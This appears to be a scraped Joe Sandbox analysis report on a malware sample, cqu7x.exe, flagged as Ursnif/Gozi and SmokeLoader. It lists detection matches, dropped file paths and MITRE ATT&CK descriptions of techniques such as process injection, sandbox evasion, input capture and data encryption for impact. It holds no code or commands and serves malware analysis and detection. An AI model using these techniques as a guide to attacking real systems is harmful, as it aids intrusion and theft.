Yara matches:	Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cqu7x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3196.exe.log

C:\Users\user\AppData\Local\Temp\3196.exe

C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

C:\Users\user\AppData\Roaming\vcivdjd

C:\Users\user\AppData\Roaming\vcivdjd:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
cqu7x.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre